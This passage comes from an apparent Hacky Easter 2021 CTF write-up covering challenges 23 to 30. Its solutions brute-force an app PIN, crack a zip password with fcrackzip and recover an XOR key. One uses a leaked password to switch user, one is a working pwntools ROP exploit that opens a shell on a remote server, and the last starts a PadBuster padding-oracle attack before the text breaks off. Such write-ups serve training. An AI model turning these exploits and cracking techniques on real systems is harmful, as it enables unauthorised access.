The Crypto.decrypt function uses AES:
The regex used to verify the PIN pattern ([a-z][0-9]{4}) can be found in strings.xml:
Accordingly the PIN has to begin with a lowercase character followed by 4 digits.
Since this sounds pretty bruteforceable, I copy-pasted the decrypt routine to a new java class and added a bruteforcer around it.
This bruteforcer reads the encrypted bytes from the resource file raw.raw (can be retrieved by simply decompressing the .apk file) and tries to decrypt them with all PIN combinations. If the decryption does not raise an exception, it does not necessarily mean that the PIN was correct. Thus we have to check the output. In order to do this, we can simply write the output to a file and run file on it. Here is the class:
import java.io.*;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
public class Crax0r {
public static void main(String args[]) throws Exception {
// read encrypted resource
BufferedReader br = new BufferedReader(new FileReader("raw.raw"));
StringBuilder sb = new StringBuilder();
String line = br.readLine();
while (line != null) {
sb.append(line);
line = br.readLine();
}
String enc64 = sb.toString();
br.close();
// alphabet from regex: [a-z][0-9]{4}
String alpha1 = "abcdefghijklmnopqrstuvwxyz";
String alpha2 = "0123456789";
for (int i0 = 0; i0 < alpha1.length(); i0++) {
for (int i1 = 0; i1 < alpha2.length(); i1++) {
for (int i2 = 0; i2 < alpha2.length(); i2++) {
for (int i3 = 0; i3 < alpha2.length(); i3++) {
for (int i4 = 0; i4 < alpha2.length(); i4++) {
String pin = "" + alpha1.charAt(i0)+alpha2.charAt(i1)+alpha2.charAt(i2)+alpha2.charAt(i3)+alpha2.charAt(i4);
try {
byte d[] = decrypt(pin, enc64);
check_output(d, pin);
} catch(Exception e) { }
}
}
}
}
}
}
public static void check_output(byte[] d, String pin) {
try {
FileOutputStream fos = new FileOutputStream("out_"+pin);
fos.write(d);
Process p = Runtime.getRuntime().exec("file out_"+pin);
String line;
Reader r = new InputStreamReader(p.getInputStream());
BufferedReader in = new BufferedReader(r);
while ((line = in.readLine()) != null) System.out.println(line);
in.close();
}
catch (Exception e) { }
}
public static byte[] decrypt(String pin, String enc64) throws Exception {
byte[] salt = new byte[8];
for (int i = 0; i < 8; i++) {
salt[i] = (byte) i;
}
SecretKeySpec key = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(pin.toCharArray(), salt, 10000, 128)).getEncoded(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, key);
byte[] decodedBytes = Base64.getDecoder().decode(enc64);
String decodedString = new String(decodedBytes);
return cipher.doFinal(decodedBytes);
}
}
Running it displays the potentially correct PINs with the associated filetype:
┌──(kali㉿kali)-[~/ctf/he21/23]
└─$ javac Crax0r.java && java Crax0r
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
^BPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
out_a0158: data
out_a0837: PGP Secret Key -
out_a1107: data
out_a1202: data
out_a1669: data
out_a2073: data
out_a2181: data
out_a2346: data
out_a2366: data
out_a2629: data
out_a2643: data
...
out_g0717: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced
...
The PIN g0717 produced a valid PNG image:
┌──(kali㉿kali)-[~/ctf/he21/23]
└─$ zbarimg out_g0717
QR-Code:he2021{th3r3s_4_h4ck_4_th4t}
scanned 1 barcode symbols from 1 images in 0.05 seconds
The flag is he2021{th3r3s_4_h4ck_4_th4t}.
HE21.24 Taco Cat
| |||||||||
Was it a cat I saw?
tacocat.zip
Hint
lowercase
|
The provided file is a zip archive:
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ file tacocat.zip
tacocat.zip: Zip archive data, at least v2.0 to extract
The archive contains the file eggge.png:
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ zipinfo tacocat.zip
Archive: tacocat.zip
Zip file size: 19056 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 20477 BX defN 20-May-19 10:51 eggge.png
1 file, 20477 bytes uncompressed, 18860 bytes compressed: 7.9%
Though it is encrypted:
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ unzip tacocat.zip
Archive: tacocat.zip
[tacocat.zip] eggge.png password:
Both the name of the challenge (taocat) as well as the filename (eggge.png) looks like an anagram. Thus I created a wordlist based on Most-Popular-Letter-Passes.txt with anagram passwords using the following script:
#!/usr/bin/env python3
wl = '/usr/share/wordlists/SecLists/Passwords/Most-Popular-Letter-Passes.txt'
words = open(wl).read().split('\n')
f = open('wl.txt', 'w')
for w in words:
w_new = w + w[::-1][1:]
f.write(w_new+'\n')
f.close()
The script takes each password from the original wordlist and creates an anagram of it:
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ cat wl.txt
...
abacocaba
abacusucaba
abadaba
abadanadaba
abadiaidaba
abaefeaba
abagailiagaba
abahaba
abalaba
abalonenolaba
abalosolaba
abamcmcmaba
...
Using fcrackzip and the generated wordlist, we can crack the password quite fast:
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ fcrackzip -D -p wl.txt -u -v tacocat.zip
found file 'eggge.png', (size cp/uc 18872/ 20477, flags 9, chk 866d)
PASSWORD FOUND!!!!: pw == mousesuom
Using the password mousesuom we can unzip the archive:
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ unzip tacocat.zip
Archive: tacocat.zip
[tacocat.zip] eggge.png password:
inflating: eggge.png
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ file eggge.png
eggge.png: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced
┌──(kali㉿kali)-[~/ctf/he21/24]
└─$ zbarimg eggge.png
QR-Code:he2021{!y0.ban4na.b0y!}
scanned 1 barcode symbols from 1 images in 0.05 seconds
The flag is he2021{!y0.ban4na.b0y!}.
HE21.25 Lots of JWTs
| |||||||||
So many JWTs! What do they hide?
jwts.txt
Hint
You better write a script.
|
The provided text file contains a huge JWT:
┌──(kali㉿kali)-[~/ctf/he21/25]
└─$ head -c 1000 jwts.txt
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpTVXpJMU5pSjkuZXlKamRESWlPaUpsZVVvd1pWaEJhVTlwU2t0V01WRnBURU5LYUdKSFkybFBhVXBUVlhwSk1VNXBTamt1WlhsS2FtUkVTV2xQYVVwc1pWVnZkMXBXYUVKaFZUbHdVMnQwVjAxV1JuQlVSVTVMWVVkS1NGa3liRkJoVlhCVVZsaHdTazFWTlhCVGFtdDFXbGhzUzJGdFVrVlRWMnhRWVZWd2MxcFdWblprTVhCWFlVVkthRlpVYkhkVk1uUXdWakF4VjFKdVFsVlNWVFZNV1ZWa1MxTkdhM2xpUmtKb1ZsaENWVlpzYUhkVGF6RldUbGhDVkdGdGRERlhiR2h6VXpKR2RGVnJWbE5XTW5oUldWWldkMDFXYkhGVWFrSnBWakJ3U1ZWdE1ERmlWbFYzWWtod1ZGWjZSbnBhVnpGUFRsWk9WVmRyY0dsV01taDZWVEZqTUdRd2VIUmFSRTVYVWxVMWMxZEVSbXRPVm1SeVlVVnNXbFpyU2paVk1HaDNWakpLYzFKVVFsVlNNMDB4Vkd4a1JtVnJPVWxSYTNCUVVtczFZVnBJY0ZOa2F6VnhVVzFzYTFKSGFESldNRlpoVFVkU1NWUnRkRk5pUjJoRVdrYzFTMkpYVG5KalJUbE5WMGRuZUZwRVFscGtNVlpaVld4Q1lWSldjRWhaTVZwRFZXMU9XRTFYV2xSU1JsWXdXVEZTUjFadFJsbGhSbWhUWVRKNE5WbHNXbUZXTWtaeVdrWkdWMkp1UWpKYVZXaERWRlpaZWxScVFrMVdNbWhXVlZaak5XUlhUblJQVjJ4WVZtdGFjRmt5YTNoa1JuQkhWRzVLYUUxdGFGcFVNVkpoWVVkR1JtVkhOVnBoTTFKS1ZqQm9SbVF5VG5Sa1JWcHJWa1ZhVlZkVVJ
A JWT is structured like this: <HEADER>.<PAYLOAD>.<SIGNATURE>.
The single components are base64url encoded without the optional padding (=).
In order to decode the PAYLOAD, we can split the JWT by dots (.) and base64 decode the second entry:
┌──(kali㉿kali)-[~/ctf/he21/25]
└─$ cat jwts.txt|cut -d '.' -f2|base64 -d
{"ct2":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUowZVhB...
The JSON output is quite big again and seems to contain multiple properties, which again contain a JWT:
┌──(kali㉿kali)-[~/ctf/he21/25]
└─$ for f in $(cat jwts.txt|cut -d '.' -f2|base64 -d|tr , '\n'); do echo $f|head -c60;echo; done
base64: invalid input
{"ct2":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUo
"ct1":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUow
"ct4":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUow
"ct3":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJjdDIiOiJleUow
"iss":"he"}
Thus I wrote the following script, which recursivly parses the JWTs. Properties with a name other than ct1, ct2, ct3, ct4 or iss are printed:
#!/usr/bin/env python3
from base64 import b64decode
import json
def b64url_decode(s):
return b64decode(s.replace('-', '+').replace('_','/')+'='*((-len(s))%4))
def jwt_get_data(s):
h = s.split('.')
if (len(h) == 1):
return h[0]
return json.loads( b64url_decode(h[1]).decode() )
def jwt_get_data_rec(j):
r = ''
i = 1
key = 'ct'+str(i)
while (key in j):
j_child = jwt_get_data(j[key])
if (not isinstance(j_child, str)):
for k0 in j_child:
if (k0 not in ['ct1','ct2','ct3','ct4','iss']): print(k0+'='+j_child[k0])
r += jwt_get_data_rec(j_child)
i += 1
key = 'ct'+str(i)
return r
ct = open('./jwts.txt').read()
j = jwt_get_data(ct)
r = jwt_get_data_rec(j)
print(r)
Running the script produces the following output:
┌──(kali㉿kali)-[~/ctf/he21/25]
└─$ ./jwt_solv0r.py
iv=f_js0
v=n_t0k
iii=nty_0
i=he202
ii=1{pl3
vi=k3nZ}
By ordering the substrings via the roman numerals and concatenating them, we get the flag:
The flag is he2021{pl3nty_0f_js0n_t0kk3nZ}.
HE21.26 Lost
| |||||||||
One of the flags accidentally fell into the pot with the rejected ones!
Can you recover the lost flag?
lost.pdf
Hint
23
|
The provided file is a PDF file:
┌──(kali㉿kali)-[~/ctf/he21/26]
└─$ file lost.pdf
lost.pdf: PDF document, version 1.3
The document contains a lot of numbers and potential flags on each other:
binwalk can be used to extract the text data …
┌──(kali㉿kali)-[~/ctf/he21/26]
└─$ binwalk --extract lost.pdf
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PDF document, version: "1.3"
141 0x8D Zlib compressed data, default compression
… which simply consists of 500 flags, proceeded by a number:
┌──(kali㉿kali)-[~/ctf/he21/26]
└─$ head _lost.pdf.extracted/8D
2 J
0.57 w
BT /F1 12.00 Tf ET
BT 232.78 795.77 Td (One of these is valid, promise) Tj ET
BT 180.11 767.42 Td (001 he2021{KDJDM-UgOMM-k4j5u-ooXKJ-ighjZ}) Tj ET
BT 184.10 767.42 Td (002 he2021{juE4t-VTKG7-fiYWT-EJ7Rx-h2ADI}) Tj ET
BT 180.09 767.42 Td (003 he2021{dNjAc-TbPo4-keeRe-uYYmC-IngBY}) Tj ET
BT 180.77 767.42 Td (004 he2021{mXtuW-lVUVF-8mLpc-jvBHm-0kdI9}) Tj ET
BT 177.43 767.42 Td (005 he2021{c4XNe-gA8wy-uJODH-BKCls-BuT5X}) Tj ET
BT 185.78 767.42 Td (006 he2021{GjuXr-IjpR8-TWZjJ-zTYNb-CJnuh}) Tj ET
When I initally solved the challenge I used a script which slowly picks and tries a random flag from the list. That worked.
The intended way though is to find flag 23 and recognize the vertical text (thanks to keep3r for this enlightenment):
...
BT 181.08 767.42 Td (020 he2021{XbBo7-PPADN-yjqIb-eEpxp-0GSa5}) Tj ET
BT 175.76 767.42 Td (021 he2021{V1eud-NmSI9-spMWY-oeDe3-otDCU}) Tj ET
BT 178.10 767.42 Td (022 he2021{E0FHN-am9rr-v5UhB-aYeWq-gehBJ}) Tj ET
BT 179.11 767.42 Td (023 he2021{WQiNE-rwbfA-mEBoq-iDFvI-NanW0}) Tj ET
BT 181.43 767.42 Td (024 he2021{hXHNf-eQ3Cy-9bCSB-7jUib-bP7TL}) Tj ET
BT 180.76 767.42 Td (025 he2021{aNICF-9gqXK-mB1zK-u2jkq-S1uaw}) Tj ET
BT 180.75 767.42 Td (026 he2021{tHB1J-V4n4H-LKzoA-YtpVK-ERhnz}) Tj ET
BT 181.43 767.42 Td (027 he2021{yPGze-ibSJ1-HkXYM-jjEh6-CY5RX}) Tj ET
BT 175.44 767.42 Td (028 he2021{oRVrl-rYkMD-FeYES-V3BKZ-hHBMQ}) Tj ET
BT 187.42 767.42 Td (029 he2021{uEJXe-RPpdX-tfJnr-sLmSp-IYieq}) Tj ET
BT 177.77 767.42 Td (030 he2021{rxGy1-92Tky-UP8bW-DUuXu-gvmFz}) Tj ET
BT 183.09 767.42 Td (031 he2021{eakn7-ASqfA-RszUP-4tkKU-PfZBL}) Tj ET
BT 178.43 767.42 Td (032 he2021{a9Qat-hqeoH-bERnQ-FwDvs-KUBPl}) Tj ET
BT 182.78 767.42 Td (033 he2021{lLucw-gr9wP-z6Z0Q-iWidD-mqyqC}) Tj ET
BT 179.11 767.42 Td (034 he2021{lV5m7-jCeSi-NQqWJ-h13dS-1WrLM}) Tj ET
BT 178.11 767.42 Td (035 he2021{yWKXd-NCrSp-FTj0R-Memdi-YLcXL}) Tj ET
BT 192.44 767.42 Td (036 he2021{wXDtx-qElDv-JSl93-ZarRI-fr2lA}) Tj ET
BT 192.11 767.42 Td (037 he2021{arrDr-HZs4q-f4FyZ-svkSf-18I1v}) Tj ET
BT 182.77 767.42 Td (038 he2021{nICN8-NTTjX-728LF-TSrbs-0HpLV}) Tj ET
BT 174.43 767.42 Td (039 he2021{thwgH-4CEku-7bhO3-RNx7d-MVWHe}) Tj ET
BT 190.10 767.42 Td (040 he2021{t8vI9-JNZOi-xzftw-qvbJn-Fe6PV}) Tj ET
BT 181.43 767.42 Td (041 he2021{oT86c-6NUbk-PN4Ot-IXxBd-9XNHf}) Tj ET
BT 188.09 767.42 Td (042 he2021{drxyt-BQQH0-ttrio-3ChkQ-9A9en}) Tj ET
BT 183.77 767.42 Td (043 he2021{oDSgQ-1Erru-mZFIV-32l3B-rXiGG}) Tj ET
BT 179.11 767.42 Td (044 he2021{iKGuv-wA8tD-MDKjy-uMmOq-21Opl}) Tj ET
BT 185.10 767.42 Td (045 he2021{sVMtP-jos5Z-t2wHK-Yhlmf-8uHe2}) Tj ET
BT 190.09 767.42 Td (046 he2021{cuek1-ynqIF-z3Pvz-zo6fi-2E0aY}) Tj ET
BT 186.77 767.42 Td (047 he2021{oAf9Z-ojTaw-DnsT6-l5qfw-KfWgJ}) Tj ET
BT 177.76 767.42 Td (048 he2021{ugeMc-00OC1-k7aW1-jDVPS-Xi65m}) Tj ET
BT 187.09 767.42 Td (049 he2021{n16l2-83aIi-BuII6-hFKKz-KWaNS}) Tj ET
BT 190.42 767.42 Td (050 he2021{tyiay-YXE8h-Sxtb4-lKtZN-Gf5g3}) Tj ET
BT 178.10 767.42 Td (051 he2021{tkW2k-ZXzoP-HAJeF-3NxE5-sc0WK}) Tj ET
BT 183.42 767.42 Td (052 he2021{oXBCS-gIe02-eneOi-Dwubt-RXBi4}) Tj ET
BT 177.08 767.42 Td (053 he2021{3KpwC-8397R-K60VJ-rVS2Q-P2p9R}) Tj ET
BT 179.77 767.42 Td (054 he2021{6KQCh-kG4Dh-REmzR-qeo8V-lkJyf}) Tj ET
BT 179.75 767.42 Td (055 he2021{1YOF5-7KVIb-WjRuI-7qdGu-eNCL3}) Tj ET
BT 182.10 767.42 Td (056 he2021{b7YrB-VMCRL-fE9Ba-xPIxm-r7vAy}) Tj ET
...
The text states Whatyoureallywanttodoiscountto361. Thus the real flag is prefixed with number 361:
...
BT 186.43 767.42 Td (361 he2021{3t5Kc-PiP6Z-9xa2f-RNJrY-auDng}) Tj ET
...
Not my favorite challenge.
The flag is he2021{3t5Kc-PiP6Z-9xa2f-RNJrY-auDng}.
HE21.27 Ghost in a Shell 2
| |||||||||
_, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, , , / _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | | | \ / | | \ / , ) | | | \| | | , ) | | | | , | , | | ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~ ~ ______________________________________________________________________ ,--. ,--. | oo | | oo | | ~~ | | ~~ | o o o o o o o o o o o o o o o o o |/\/\| |/\/\| ______________________________________________________________________ Connect to the server, snoop around, and find the flag! - ssh 46.101.107.117 -p 2108 -l clyde - password is: 555-ClYdE Note: The service is restarted every hour at x:00. |
We start by ssh’ing to the provided machine:
┌──(kali㉿kali)-[~/ctf/he21/27]
└─$ ssh 46.101.107.117 -p 2108 -l clyde
clyde@46.101.107.117's password:
_, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, , ,
/ _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | | |
\ / | | \ / , ) | | | \| | | , ) | | | | , | , | |
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~ ~
______________________________________________________________________
,--. ,--.
| oo | | oo |
| ~~ | | ~~ | o o o o o o o o o o o o o o o o o
|/\/\| |/\/\|
______________________________________________________________________
Find the flag!
60a95fed1cd6:~$
In our home directory there is a fake flag (flag?.txt):
60a95fed1cd6:~$ ls -al
total 28
drwxr-xr-x 1 root root 4096 Apr 14 11:00 .
drwxr-xr-x 1 root root 4096 Apr 3 05:23 ..
-rwxr-xr-x 1 root root 15 Apr 14 11:00 .bashrc
drwxr-xr-x 1 root root 4096 Apr 14 11:00 .lost+found
-rwxr-xr-x 1 root root 3361 Mar 2 13:23 flag?.txt
The folder .lost+found seems to contain the actual flag:
60a95fed1cd6:~$ ls -al .lost\+found/
total 16
drwxr-xr-x 1 root root 4096 Apr 14 11:00 .
drwxr-xr-x 1 root root 4096 Apr 14 11:00 ..
-r--r----- 1 root pacman 32 Apr 14 11:00 flag.txt
Though we cannot read it (only user root and group pacman can):
60a95fed1cd6:~$ cat .lost\+found/flag.txt
cat: can't open '.lost+found/flag.txt': Permission denied
We can read the home folder of pacman:
60a95fed1cd6:~$ ls -al /home/pacman/
total 28
drwxr-xr-x 1 root root 4096 Apr 14 11:00 .
-rwxr-xr-x 1 root root 9 Apr 14 11:00 ."\?$*'N'*$?\"
drwxr-xr-x 1 root root 4096 Apr 3 05:23 ..
-rwxr-xr-x 1 root root 312 Mar 2 12:05 .bash_history
-rwxr-xr-x 1 root root 277 Mar 2 12:05 notes.txt
The file .”\?$*’N’*$?\” seems to be interesting, but using cat directly on it does not work. Though we can use find:
60a95fed1cd6:~$ find /home/pacman/ -exec cat {} \;
cat: read error: Is a directory
msPACM4n
history -c
whoami
ls -lrt
cd /home/pacman
du -sh
vi notes.txt
...
The first line contains the password of pacman: msPACM4n.
Using this password we can use su to change to pacman:
4f4ef7317075:/home/pacman$ su pacman
4f4ef7317075:~$ id
uid=1001(pacman) gid=1001(pacman) groups=1001(pacman)
Now we can read the real flag.txt in /home/clyde/.lost+found/:
4f4ef7317075:/home/clyde/.lost+found$ cat flag.txt
he2021{wh4ts_y0ur_grewp_4g4in?}
The flag is he2021{wh4ts_y0ur_grewp_4g4in?}.
HE21.28 Haxxor what 2?
| |||||||||
I was able to break the first file, but I'm stuck at this one.
Help!
haxxorwhat2
Hint
This time, the file is not an image.
|
The challenge is very similar to challenge 14, though this time the file is not supposed to be an image.
I was quite lucky to guess that the file is supposed to be a zip archive. By using the same technique as in the previous challenge, we can get the XOR key. For the zip archive I used the one from challenge 24:
>>> ct1 = open('haxxorwhat2','rb').read()
>>> ct2 = open('../24/tacocat.zip','rb').read()
>>> r = b''
>>> for i in range(16):
... r += bytes([ct1[i]^ct2[i]])
...
>>> r
b'xorlathnxo\nr\x03t\xbdI'
This time the key is not completely recovered. Though a little bit of testing turned out that the key is xorlatan.
Using the following script we can decrypt the data:
#!/usr/bin/env python3
key = b'xorlatan'
ct = open('haxxorwhat2', 'rb').read()
r = b''
for i in range(len(ct)):
r += bytes([ct[i]^key[i%len(key)]])
f = open('out','wb')
f.write(r)
f.close()
Running the script produces a valid zip archive:
┌──(kali㉿kali)-[~/ctf/he21/28]
└─$ ./crax0r.py
┌──(kali㉿kali)-[~/ctf/he21/28]
└─$ file out
out: Zip archive data, at least v2.0 to extract
The archive contains the file egg.png:
┌──(kali㉿kali)-[~/ctf/he21/28]
└─$ zipinfo out
Archive: out
Zip file size: 19143 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 20506 bx defN 20-Jun-17 13:00 egg.png
1 file, 20506 bytes uncompressed, 18979 bytes compressed: 7.4%
┌──(kali㉿kali)-[~/ctf/he21/28]
└─$ unzip out
Archive: out
inflating: egg.png
┌──(kali㉿kali)-[~/ctf/he21/28]
└─$ zbarimg egg.png
QR-Code:he2021{ul1m4te_x0r_m4st3r}
scanned 1 barcode symbols from 1 images in 0.05 seconds
The flag is he2021{ul1m4te_x0r_m4st3r}.
HE21.29 Sailor’s Knot
| |||||||||
There is a huge variety of sailor's knots, but the common thing is they all use rops or other types of cords. nc 46.101.107.117 2112 Get a shell and read the flag. Note: The service is restarted every hour at x:00. sailorsknot Hint Ubuntu 18.04 64 Bit |
The setting for the challenge is pretty much the same as in challenge 16, which makes it a 64-bit ELF binary, which is dynamically linked, not stripped, without stack canaries, nx enabled, no pic and partial relro:
┌──(kali㉿kali)-[~/ctf/he21/29]
└─$ file sailorsknot
sailorsknot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=97703c7c27443a213e91b074911c7c744fc34043, not stripped
┌──(kali㉿kali)-[~/ctf/he21/29]
└─$ r2 -A sailorsknot
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400670]> iI
arch x86
baddr 0x400000
binsz 7148
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
Also the vulnerability is the same: a stack overflow due to the usage of the unsafe gets function:
[0x00400670]> pdf @ main
; DATA XREF from entry0 @ 0x40068d
┌ 100: int main (int argc, char **argv);
│ ; var char **var_30h @ rbp-0x30
│ ; var int64_t var_24h @ rbp-0x24
│ ; var char *s @ rbp-0x20
│ ; arg int argc @ rdi
│ ; arg char **argv @ rsi
│ 0x00400757 55 push rbp
│ 0x00400758 4889e5 mov rbp, rsp
│ 0x0040075b 4883ec30 sub rsp, 0x30
│ 0x0040075f 897ddc mov dword [var_24h], edi ; argc
│ 0x00400762 488975d0 mov qword [var_30h], rsi ; argv
│ 0x00400766 b800000000 mov eax, 0
│ 0x0040076b e864000000 call sym.ignore_me_init_buffering
│ 0x00400770 b800000000 mov eax, 0
│ 0x00400775 e8ea000000 call sym.ignore_me_init_signal
│ 0x0040077a 488d3d970100. lea rdi, qword str.Welcome__Please_give_me_your_name ; 0x400918 ; "Welcome! Please give me your name!\n> " ; const char *format
│ 0x00400781 b800000000 mov eax, 0
│ 0x00400786 e895feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0040078b 488d45e0 lea rax, qword [s]
│ 0x0040078f 4889c7 mov rdi, rax ; char *s
│ 0x00400792 b800000000 mov eax, 0
│ 0x00400797 e8b4feffff call sym.imp.gets ; char *gets(char *s)
│ 0x0040079c 488d45e0 lea rax, qword [s]
│ 0x004007a0 4889c6 mov rsi, rax
│ 0x004007a3 488d3d940100. lea rdi, qword str.Hi__s__nice_to_meet_you ; 0x40093e ; "Hi %s, nice to meet you!\n" ; const char *format
│ 0x004007aa b800000000 mov eax, 0
│ 0x004007af e86cfeffff call sym.imp.printf ; int printf(const char *format)
│ 0x004007b4 b800000000 mov eax, 0
│ 0x004007b9 c9 leave
└ 0x004007ba c3 ret
What is different though is that there is no profit function, which directly spawns a shell. Nevertheless the function system is present:
[0x00400670]> afl
0x00400670 1 42 entry0
0x004006b0 4 42 -> 37 sym.deregister_tm_clones
0x004006e0 4 58 -> 55 sym.register_tm_clones
0x00400720 3 34 -> 29 entry.fini0
0x00400750 1 7 entry.init0
0x00400900 1 2 sym.__libc_csu_fini
0x004007d4 1 97 sym.ignore_me_init_buffering
0x00400660 1 6 sym.imp.setvbuf
0x00400904 1 9 sym._fini
0x00400835 3 47 sym.kill_on_timeout
0x00400620 1 6 sym.imp.printf
0x00400600 1 6 sym.imp._exit
0x00400890 4 101 sym.__libc_csu_init
0x004006a0 1 2 sym._dl_relocate_static_pie
0x00400757 1 100 main
0x00400864 1 34 sym.ignore_me_init_signal
0x00400640 1 6 sym.imp.signal
0x00400630 1 6 sym.imp.alarm
0x00400650 1 6 sym.imp.gets
0x004007bb 1 6 sym.remove_me_before_deploy
0x004005d8 3 23 sym._init
0x00400610 1 6 sym.imp.system
In order to spawn a shell we also need the string /bin/sh.
Fortunately there is a comment that all references to /bin/sh should be removed …
[0x00400670]> iz
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000918 0x00400918 37 38 .rodata ascii Welcome! Please give me your name!\n>
1 0x0000093e 0x0040093e 25 26 .rodata ascii Hi %s, nice to meet you!\n
2 0x00000958 0x00400958 7 8 .rodata ascii /bin/ls
3 0x00000960 0x00400960 46 47 .rodata ascii [!] Anti DoS Signal. Patch me out for testing.
0 0x00001080 0x00601080 56 57 .data ascii Please ensure you remove _all_ references to the /bin/sh
…, which contains the string /bin/sh:
[0x00400670]> ps @ 0x006010b1
/bin/sh
The last thing we need are two gadgets. One to adjust the stack alignment (simple ret, see challenge 16) and another one, which pops into RDI in order to load the first argument to system: the string /bin/sh. Again we can use ROPgadget to find these gadgets:
┌──(kali㉿kali)-[~/ctf/he21/29]
└─$ ROPgadget --binary sailorsknot| grep ': ret'
0x0000000000400295 : ret
┌──(kali㉿kali)-[~/ctf/he21/29]
└─$ ROPgadget --binary sailorsknot| grep ': pop rdi ; ret'
0x00000000004007bf : pop rdi ; ret
Now we have everthing we need to craft our exploit:
#!/usr/bin/env python3
from pwn import *
offset = 40
system = 0x00400610
binsh = 0x006010b1
poprdi = 0x004007bf
ropnop = 0x00400295
io = remote('46.101.107.117', 2112)
expl = b'A'*offset
expl += p64(ropnop)
expl += p64(poprdi)
expl += p64(binsh)
expl += p64(system)
io.sendlineafter('name!', expl)
io.interactive()
Running the script successfully yields a shell:
┌──(kali㉿kali)-[~/ctf/he21/29]
└─$ ./expl.py
[+] Opening connection to 46.101.107.117 on port 2112: Done
[*] Switching to interactive mode
> Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95@, nice to meet you!
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -al
total 56
drwxr-xr-x 1 root root 4096 Mar 3 08:35 .
drwxr-xr-x 1 root root 4096 Mar 3 08:34 ..
-rw-r--r-- 1 root root 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root root 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root root 807 Apr 4 2018 .profile
-rwxrwxr-x 1 root root 9008 Mar 3 08:34 challenge2
-rw-rw-r-- 1 root root 31 Mar 3 08:34 flag
-rwxrwxr-x 1 root root 18744 Mar 3 08:34 ynetd
$ cat flag
he2021{s41l0r_r0p_f0r_pr0f1t}
The flag is he2021{s41l0r_r0p_f0r_pr0f1t}.
HE21.30 Pix FX
| |||||||||
Hey there! We have our fancy new Pix FX service online!
Try it out!
http://46.101.107.117:2110
Note: The service is restarted every hour at x:00.
Hint
egg
|
On the provided website an image and an effect can be chosen:
After submitting the selection a code is displayed:
Clicking on show image leads to /picture?code=<CODE>, which displays the image with the applied effect:
Beneath the popular FX codes there is one (41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2), which displays the desired egg. Though the applied effect makes the QR code unrecognizable:
When the code is changed slightly, we get a decryption error:
Because of this I assumed that the application is probably vulernable to a padding oracle attack. HackyEaster 2018 also contained a challenge based on this attack.
In order to solve this without great effort, we can use PadBuster.
At first let’s decrypt the code from the egg. We simply provide the following to padbuster: the target URL, an encrypted sample (the code), the blocksize (16) and the encoding (2 = upper hex):
┌──(kali㉿kali)-[~/ctf/he21/30]
└─$ padbuster 'http://46.101.107.117:2110/picture?code=41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' '41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' 16 -encoding 2
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
